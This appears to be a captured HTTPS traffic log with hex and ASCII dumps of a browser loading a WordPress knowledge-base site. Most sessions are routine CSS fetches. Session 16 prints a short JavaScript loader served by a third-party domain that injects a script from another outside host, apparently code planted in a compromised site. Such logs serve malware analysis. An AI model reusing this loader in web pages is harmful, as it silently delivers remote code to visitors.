2025-04-15 14:03:06 UTC	291	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e 36 36 37 65 6d 20 2b 20 32 70 78 29 20 63 61 6c 63 28 31 2e 33 33 33 65 6d 20 2b 20 32 70 78 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 32 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 69 6c 65 5f 5f 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 32 33 Data Ascii: /! This file is auto-generated /.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#323

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49726	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:06 UTC	649	OUT	GET /wp-content/plugins/KnowAll%20Custom%20Menu%20Widget/knowall-menu-widget.css?ver=6.2.6 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	282	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:06 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 30 Jun 2023 14:39:34 GMT ETag: "be-5ff59c915b69a" Accept-Ranges: bytes Content-Length: 190 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	190	IN	Data Raw: 2e 6b 6e 6f 77 61 6c 6c 2d 6d 65 6e 75 20 2e 73 75 62 2d 6d 65 6e 75 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 6b 6e 6f 77 61 6c 6c 2d 6d 65 6e 75 20 2e 73 75 62 2d 6d 65 6e 75 20 2e 73 75 62 2d 6d 65 6e 75 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 6b 6e 6f 77 61 6c 6c 2d 6d 65 6e 75 20 2e 73 75 62 2d 6d 65 6e 75 20 2e 73 75 62 2d 73 75 62 2d 6d 65 6e 75 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 30 70 78 3b 0d 0a 7d 0d 0a Data Ascii: .knowall-menu .sub-menu { margin-left: 10px;}.knowall-menu .sub-menu .sub-menu { margin-left: 20px;}.knowall-menu .sub-menu .sub-sub-menu { margin-left: 30px;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49727	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:06 UTC	633	OUT	GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.5.1 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	284	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:06 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:26:36 GMT ETag: "b2b-5f8cd39485be9" Accept-Ranges: bytes Content-Length: 2859 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	2859	IN	Data Raw: 2e 77 70 63 66 37 20 2e 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 72 65 73 70 6f 6e 73 65 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 63 6c 69 70 3a 20 72 65 63 74 28 31 70 78 2c 20 31 70 78 2c 20 31 70 78 2c 20 31 70 78 29 3b 0a 09 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0a 09 68 65 69 67 68 74 3a 20 31 70 78 3b 0a 09 77 69 64 74 68 3a 20 31 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 2d 31 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 09 77 6f 72 64 2d 77 72 61 70 3a 20 6e 6f 72 6d 61 6c 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 2e 77 70 63 66 37 20 66 6f 72 6d 20 2e 77 70 63 66 37 2d 72 65 73 70 6f Data Ascii: .wpcf7 .screen-reader-response {position: absolute;overflow: hidden;clip: rect(1px, 1px, 1px, 1px);clip-path: inset(50%);height: 1px;width: 1px;margin: -1px;padding: 0;border: 0;word-wrap: normal !important;}.wpcf7 form .wpcf7-respo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49728	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:06 UTC	646	OUT	GET /wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.3 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:07 UTC	286	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:06:34 GMT ETag: "e508-5f8ccf19fa0a2" Accept-Ranges: bytes Content-Length: 58632 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 68 74 6d 6c 5b 64 69 72 3d 22 72 74 6c 22 5d 20 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 2e 77 70 6d 6c 2d 6c 73 2d 64 72 6f 70 64 6f 77 6e 20 75 6c 20 6c 69 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 5f 5f 74 6f 67 67 6c 65 20 69 6d 67 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 7d 68 74 6d 6c 5b 64 69 72 3d 22 72 74 6c 22 5d 20 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 2e 77 70 6d 6c 2d 6c 73 2d 64 72 6f 70 64 6f 77 6e 20 75 6c 20 6c 69 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 20 75 Data Ascii: html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu .wp-block-navigation-submenu__toggle img{margin-left:12px}html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu u
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 73 61 62 6c 65 64 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 32 35 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 35 66 35 66 35 3b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 3b 6f 70 61 63 69 74 79 3a 31 7d 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 39 64 39 64 39 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 31 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 64 69 73 61 62 6c 65 64 20 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 6d 62 65 72 2d 69 6e 70 75 74 7b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 7d 2e 61 6e 74 2d 69 6e 70 75 74 2d 6e 75 Data Ascii: sabled{color:rgba(0,0,0,0.25);background-color:#f5f5f5;cursor:not-allowed;opacity:1}.ant-input-number-disabled:hover{border-color:#d9d9d9;border-right-width:1px !important}.ant-input-number-disabled .ant-input-number-input{cursor:not-allowed}.ant-input-nu
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 2d 73 65 6c 65 63 74 2d 61 72 72 6f 77 20 2e 61 6e 74 69 63 6f 6e 3a 6e 6f 74 28 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 75 66 66 69 78 29 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 61 75 74 6f 7d 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 64 69 73 61 62 6c 65 64 20 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 61 72 72 6f 77 7b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 7d 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 63 6c 65 61 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 35 30 25 3b 72 69 67 68 74 3a 31 31 70 78 3b 7a 2d 69 6e 64 65 78 3a 31 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 32 70 78 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 36 70 78 3b 63 6f 6c 6f 72 Data Ascii: -select-arrow .anticon:not(.ant-select-suffix){pointer-events:auto}.ant-select-disabled .ant-select-arrow{cursor:not-allowed}.ant-select-clear{position:absolute;top:50%;right:11px;z-index:1;display:inline-block;width:12px;height:12px;margin-top:-6px;color
2025-04-15 14:03:07 UTC	9480	IN	Data Raw: 72 2d 62 6c 6f 63 6b 20 75 6c 2e 63 65 6e 74 65 72 2d 6a 75 73 74 69 66 79 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 7b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 75 6c 2e 72 69 67 68 74 2d 6a 75 73 74 69 66 79 7b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 72 69 67 68 74 7d 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 75 6c 2e 72 69 67 68 74 2d 6a 75 73 74 69 66 79 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 7b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 72 69 67 68 74 7d 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 Data Ascii: r-block ul.center-justify .wp-block-navigation-item{justify-content:center}.wpml-language-switcher-block ul.right-justify{justify-content:right}.wpml-language-switcher-block ul.right-justify .wp-block-navigation-item{justify-content:right}.wpml-language-s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49729	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:06 UTC	668	OUT	GET /wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/menu-item/style.min.css?ver=1 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:07 UTC	283	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:06:34 GMT ETag: "102-5f8ccf19e9701" Accept-Ranges: bytes Content-Length: 258 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:07 UTC	258	IN	Data Raw: 2e 77 70 6d 6c 2d 6c 73 2d 6d 65 6e 75 2d 69 74 65 6d 20 2e 77 70 6d 6c 2d 6c 73 2d 66 6c 61 67 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 2e 77 70 6d 6c 2d 6c 73 2d 6d 65 6e 75 2d 69 74 65 6d 20 2e 77 70 6d 6c 2d 6c 73 2d 66 6c 61 67 2b 73 70 61 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 33 65 6d 7d 2e 72 74 6c 20 2e 77 70 6d 6c 2d 6c 73 2d 6d 65 6e 75 2d 69 74 65 6d 20 2e 77 70 6d 6c 2d 6c 73 2d 66 6c 61 67 2b 73 70 61 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 33 65 6d 7d 75 6c 20 2e 77 70 6d 6c 2d 6c 73 2d 6d 65 6e 75 2d 69 74 65 6d 20 61 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 Data Ascii: .wpml-ls-menu-item .wpml-ls-flag{display:inline;vertical-align:baseline}.wpml-ls-menu-item .wpml-ls-flag+span{margin-left:.3em}.rtl .wpml-ls-menu-item .wpml-ls-flag+span{margin-left:0;margin-right:.3em}ul .wpml-ls-menu-item a{display:flex;align-items:cent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49720	193.46.217.168	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:06 UTC	616	OUT	GET /L4ohvt4YKKxSh9iz1MjAh9Mf2JnXlXIqVaHT9cVsuey HTTP/1.1 Host: javascripterhub.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:07 UTC	808	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 15 Apr 2025 14:03:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 239 Connection: close Cache-Control: no-cache, no-store, must-revalidate,post-check=0,pre-check=0 Expires: 0 Last-Modified: Tue, 15 Apr 2025 14:03:07 GMT Pragma: no-cache Set-Cookie: _subid=19fo3tg1rs6an;Expires=Friday, 16-May-2025 14:03:07 GMT;Max-Age=2678400;Path=/ Set-Cookie: 0c9c8=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjEzMVwiOjE3NDQ3MjU3ODcsXCIyNlwiOjE3NDQ3MjU3ODd9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzQ0NzI1Nzg3LFwiMjNcIjoxNzQ0NzI1Nzg3fSxcInRpbWVcIjoxNzQ0NzI1Nzg3fSJ9.OFDKbAebaWsUO1Kegr1wrOJvtKNz5ZzmIAR4JhkTBWg;Expires=Thursday, 01-Aug-2080 04:06:14 GMT;Max-Age=1744984987;Path=/ Vary: Accept-Encoding Access-Control-Allow-Origin: *
2025-04-15 14:03:07 UTC	239	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 77 2c 79 2c 71 2c 73 2c 6c 29 7b 73 3d 77 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 79 29 3b 6c 3d 77 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 79 29 5b 30 5d 3b 73 2e 61 73 79 6e 63 3d 31 3b 73 2e 73 72 63 3d 71 3b 6c 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 73 2c 6c 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 54 53 31 52 79 6a 59 50 4d 71 4d 70 44 32 76 34 65 78 35 39 36 44 38 50 61 2b 67 2b 51 79 57 6b 49 6b 59 34 72 6a 74 45 4d 4c 77 31 58 7a 65 6e 4b 67 38 73 27 29 3b Data Ascii: ;(function(w,y,q,s,l){s=w.createElement(y);l=w.getElementsByTagName(y)[0];s.async=1;s.src=q;l.parentNode.insertBefore(s,l);})(document,'script','https://virtual.urban-orthodontics.com/TS1RyjYPMqMpD2v4ex596D8Pa+g+QyWkIkY4rjtEMLw1XzenKg8s');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49730	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	614	OUT	GET /wp-content/themes/knowall/css/style.css?ver=1.15.4 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:07 UTC	287	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 17 Apr 2023 22:41:46 GMT ETag: "11c6e-5f98fe5508b71" Accept-Ranges: bytes Content-Length: 72814 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: ef bb bf 2e 68 74 2d 70 6f 73 74 6c 69 73 74 2c 2e 67 61 6c 6c 65 72 79 2c 2e 68 74 73 2d 74 61 62 73 20 2e 68 74 73 2d 74 61 62 73 5f 5f 63 6f 6e 74 65 6e 74 2c 2e 68 74 73 2d 74 61 62 73 20 2e 68 74 73 2d 74 61 62 73 5f 5f 6e 61 76 2c 2e 68 74 73 2d 74 61 62 73 2c 2e 68 74 73 2d 61 63 63 6f 72 64 69 6f 6e 2c 2e 68 74 73 2d 74 6f 67 67 6c 65 2c 2e 68 74 2d 74 72 61 6e 73 66 65 72 62 6f 78 2c 2e 68 74 2d 63 6f 6d 6d 65 6e 74 20 2e 68 74 2d 63 6f 6d 6d 65 6e 74 5f 5f 63 6f 6e 74 65 6e 74 2c 2e 68 74 2d 63 6f 6d 6d 65 6e 74 2c 2e 68 74 2d 70 61 67 69 6e 61 74 69 6f 6e 2c 2e 68 6b 62 2d 61 72 74 69 63 6c 65 2d 61 75 74 68 6f 72 2c 2e 68 6b 62 2d 61 72 74 69 63 6c 65 2d 61 74 74 61 63 68 6d 65 6e 74 5f 5f 6c 69 6e 6b 2c 2e 68 6b 62 2d 61 72 74 69 63 6c 65 2d Data Ascii: .ht-postlist,.gallery,.hts-tabs .hts-tabs__content,.hts-tabs .hts-tabs__nav,.hts-tabs,.hts-accordion,.hts-toggle,.ht-transferbox,.ht-comment .ht-comment__content,.ht-comment,.ht-pagination,.hkb-article-author,.hkb-article-attachment__link,.hkb-article-
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 3e 61 3a 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 36 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 22 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 2c 25 33 43 73 76 67 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 27 20 76 69 65 77 42 6f 78 3d 27 30 20 30 20 33 34 2e 31 20 31 39 27 20 66 69 6c 6c 3d 27 25 32 33 66 66 66 27 20 25 33 45 20 25 33 43 70 61 74 68 20 64 3d 27 4d 31 37 20 31 39 63 2d 30 2e 35 20 30 2d 31 2d 30 2e 32 2d 31 2e 34 2d 30 2e 36 4c 30 2e 36 20 33 2e 34 63 2d 30 2e 38 2d 30 2e 38 2d 30 2e 38 2d 32 20 Data Ascii: menu-item-has-children>a::after{display:inline-block;margin:0 0 0 6px;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 34.1 19' fill='%23fff' %3E %3Cpath d='M17 19c-0.5 0-1-0.2-1.4-0.6L0.6 3.4c-0.8-0.8-0.8-2
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 6e 74 73 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 77 69 64 67 65 74 5f 73 65 61 72 63 68 20 2e 73 65 61 72 63 68 2d 66 69 65 6c 64 7b 6d 61 72 67 69 6e 3a 30 20 30 20 38 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 61 75 74 6f 7d 2e 68 6b 62 2d 66 65 65 64 62 61 63 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 34 66 35 66 35 3b 70 61 64 64 69 6e 67 3a 32 32 70 78 20 33 30 70 78 20 32 35 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 32 32 70 78 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 7b 2e 68 6b 62 2d 66 65 65 64 62 61 63 6b 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 7d 2e 68 6b 62 2d 66 65 65 64 62 61 63 6b 20 2e 68 6b 62 2d 66 65 65 64 62 61 63 6b 5f 5f 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 6c 69 6e 65 2d Data Ascii: nts a:visited{color:inherit}.widget_search .search-field{margin:0 0 8px;min-width:auto}.hkb-feedback{background:#f4f5f5;padding:22px 30px 25px;margin:0 0 22px}@media print{.hkb-feedback{display:none}}.hkb-feedback .hkb-feedback__title{font-size:18px;line-
2025-04-15 14:03:07 UTC	16384	IN	Data Raw: 6c 65 2d 61 74 74 61 63 68 6d 65 6e 74 5f 5f 73 69 7a 65 7b 6f 70 61 63 69 74 79 3a 31 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 70 78 3b 74 6f 70 3a 30 7d 2e 68 6b 62 2d 61 72 74 69 63 6c 65 2d 61 74 74 61 63 68 6d 65 6e 74 5f 5f 6c 69 6e 6b 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 7b 6f 70 61 63 69 74 79 3a 2e 32 35 3b 72 69 67 68 74 3a 32 30 70 78 7d 2e 68 6b 62 2d 61 72 74 69 63 6c 65 2d 61 74 74 61 63 68 6d 65 6e 74 5f 5f 6c 69 6e 6b 20 2e 68 6b 62 2d 61 72 74 69 63 6c 65 2d 61 74 74 61 63 68 6d 65 6e 74 5f 5f 69 63 6f 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 34 30 70 78 3b 77 69 64 74 68 3a 34 30 70 78 7d 2e 68 6b 62 2d 61 72 74 69 63 6c 65 2d 61 74 74 61 63 68 6d 65 6e 74 5f 5f 6c 69 6e 6b 20 2e 68 6b 62 2d 61 72 74 69 Data Ascii: le-attachment__size{opacity:1;max-height:100px;top:0}.hkb-article-attachment__link:hover::after{opacity:.25;right:20px}.hkb-article-attachment__link .hkb-article-attachment__icon{display:block;height:40px;width:40px}.hkb-article-attachment__link .hkb-arti
2025-04-15 14:03:07 UTC	7278	IN	Data Raw: 2c 2e 68 74 2d 70 6f 73 74 5f 5f 63 6f 6e 74 65 6e 74 20 70 72 65 2c 2e 68 74 2d 70 6f 73 74 5f 5f 63 6f 6e 74 65 6e 74 20 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 52 6f 62 6f 74 6f 20 4d 6f 6e 6f 2c 4d 6f 6e 61 63 6f 2c 63 6f 75 72 69 65 72 2c 6d 6f 6e 6f 73 70 61 63 65 7d 2e 68 74 2d 70 6f 73 74 5f 5f 63 6f 6e 74 65 6e 74 20 70 72 65 2c 2e 68 74 2d 70 6f 73 74 5f 5f 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 64 65 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 35 66 35 66 35 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 32 35 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: ,.ht-post__content pre,.ht-post__content samp{font-family:Roboto 